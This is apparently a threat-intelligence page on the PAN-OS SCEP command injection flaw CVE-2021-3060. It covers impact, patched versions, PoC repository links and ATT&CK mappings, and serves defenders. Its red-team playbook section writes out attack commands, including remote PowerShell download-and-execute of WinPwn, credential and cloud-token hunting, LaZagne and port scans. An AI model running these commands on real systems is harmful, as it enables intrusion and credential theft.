CVE-2021-3060

HIGH POC TTE 265d Pub 10/11 Upd 16/09

Overview

This vulnerability is an OS command injection flaw rooted in improper input validation within the Simple Certificate Enrollment Protocol (SCEP) feature of PAN-OS. The flaw allows crafted input to be executed as system commands due to inadequate sanitization of parameters processed by the SCEP component. The affected component is the SCEP functionality accessible via the GlobalProtect network interfaces on Palo Alto Networks PAN-OS and Prisma Access firewalls.

Vulnerability Description

An OS command injection vulnerability in the Simple Certificate Enrollment Protocol (SCEP) feature of PAN-OS software allows an unauthenticated network-based attacker with specific knowledge of the firewall configuration to execute arbitrary code with root user privileges. The attacker must have network access to the GlobalProtect interfaces to exploit this issue. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20-h1; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h3; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h2; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. Prisma Access customers with Prisma Access 2.1 Preferred and Prisma Access 2.1 Innovation firewalls are impacted by this issue.

Impact

An unauthenticated attacker with network access to the GlobalProtect interfaces can execute arbitrary OS commands with root privileges, enabling full system compromise. This can result in unauthorized control over firewall operations, data exfiltration, or disruption of network security functions. The attack requires no authentication (PR:N), no user interaction (UI:N), but does require high attack complexity (AC:H) and network access (AV:N). Successful exploitation can lead to complete loss of confidentiality, integrity, and availability of the affected device.

Solution

Palo Alto Networks recommends upgrading affected PAN-OS versions to 8.1.20-h1 or later, 9.0.14-h3 or later, 9.1.11-h2 or later, 10.0.8 or later, and 10.1.3 or later. Prisma Access customers should update to Prisma Access 2.1 Preferred or Innovation firewalls with the latest patches. Detailed patch instructions and version-specific guidance are available in the Palo Alto Networks security advisory at https://security.paloaltonetworks.com/CVE-2021-3060. Administrators should apply these updates promptly to mitigate the vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the Simple Certificate Enrollment Protocol (SCEP) feature of PAN-OS software is characterized by an OS command injection flaw that allows an unauthenticated attacker to execute arbitrary code with root privileges. This vulnerability arises from improper validation of user input, which can be exploited when an attacker crafts specific requests that manipulate the command execution process. The affected versions of PAN-OS include multiple iterations, specifically those prior to certain updates in the 8.1, 9.0, 9.1, 10.0, and 10.1 series. The critical nature of this flaw is underscored by its potential to grant attackers complete control over the affected systems, making it a significant concern for organizations relying on this firewall technology.

Exploitation of this vulnerability requires network access to the GlobalProtect interfaces, which are typically exposed to the internet or internal networks. Attackers with knowledge of the firewall configuration can leverage this access to inject malicious commands. For instance, an attacker could send specially crafted requests that exploit the command injection flaw, allowing them to execute arbitrary commands on the underlying operating system. This could lead to a range of malicious activities, from data exfiltration to the installation of backdoors, thereby compromising the integrity and confidentiality of sensitive information.

The real-world impact of this vulnerability is substantial, particularly for organizations that utilize PAN-OS for their network security. The ability for an attacker to gain root access means that they could manipulate firewall rules, disable security features, or even pivot to other systems within the network. This poses a significant business risk, as it could lead to data breaches, regulatory penalties, and damage to brand reputation. Moreover, the financial implications of a successful attack can be severe, encompassing costs related to incident response, recovery, and potential legal liabilities.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted security strategy. Regularly updating PAN-OS to the latest versions is crucial, as updates often include patches for known vulnerabilities. Additionally, employing intrusion detection systems (IDS) can help identify suspicious activities indicative of exploitation attempts. Network segmentation can also minimize exposure by limiting access to the GlobalProtect interfaces, thereby reducing the attack surface. Furthermore, organizations should conduct regular security assessments and penetration testing to identify potential weaknesses in their configurations and ensure that security best practices are being followed.

In conclusion, the OS command injection vulnerability within the SCEP feature of PAN-OS represents a critical threat that requires immediate attention from affected organizations. By understanding the technical details, potential attack vectors, and real-world implications of this flaw, cybersecurity professionals can better prepare their defenses. Implementing robust detection and mitigation strategies will not only protect against this specific vulnerability but also enhance the overall security posture of the organization.




CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-3060, rising by over 11% to a current level placing it near the top percentile of predicted exploitation likelihood. This upward trend, coupled with a steady week-over-week increase, signals growing attacker interest and potential exploitation activity targeting the SCEP feature in PAN-OS. Concurrently, new proof-of-concept exploits have surfaced on public repositories, lowering the barrier for adversaries to weaponize this vulnerability. Although the escalation is not classified as rapid, the combination of rising EPSS scores and emerging exploit code heightens the threat landscape for organizations running affected PAN-OS versions. Defenders should interpret this as an indication that exploitation attempts may become more frequent and sophisticated, thus elevating the operational risk associated with this vulnerability beyond prior assessments.

Affected Products (7)

Vendor Product Version CPE
paloaltonetworks Paloaltonetworks Prisma Access 2.1 cpe:2.3:a:paloaltonetworks:prisma_access:2.1:*:*:*:innovation:*:*:*
paloaltonetworks Paloaltonetworks Prisma Access 2.1 cpe:2.3:a:paloaltonetworks:prisma_access:2.1:*:*:*:preferred:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (2)

Repository Author Stars Forks Date Link
timb-machine-mirrors/rqu1-cve-2021-3060.py
Clone from gist
timb-machine-mirrors 1 1 2022-08-03 View
anmolksachan/CVE-2021-3060
CVE-2021-3060
anmolksachan 0 0 2023-10-05 View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
2022-08-03
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
50% rce
Authentication Bypass
44% auth_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
58%
High High
CAPEC-6 Argument Injection
51%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
51%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-3060
security.paloaltonetworks.com
GitHub CVE x_refsource_MISC
https://security.paloaltonetworks.com/CVE-2021-3060
docs.paloaltonetworks.com
GitHub CVE x_refsource_MISC
https://docs.paloaltonetworks.com/pan-os/10-0/pan-os-admin/certificate-management/configure-the-master-key.html
docs.paloaltonetworks.com
GitHub CVE x_refsource_MISC
https://docs.paloaltonetworks.com/prisma/prisma-access/innovation/2-1/prisma-access-panorama-admin/prepare-the-prisma-access-infrastructure/get-started-with-prisma-access-overview.html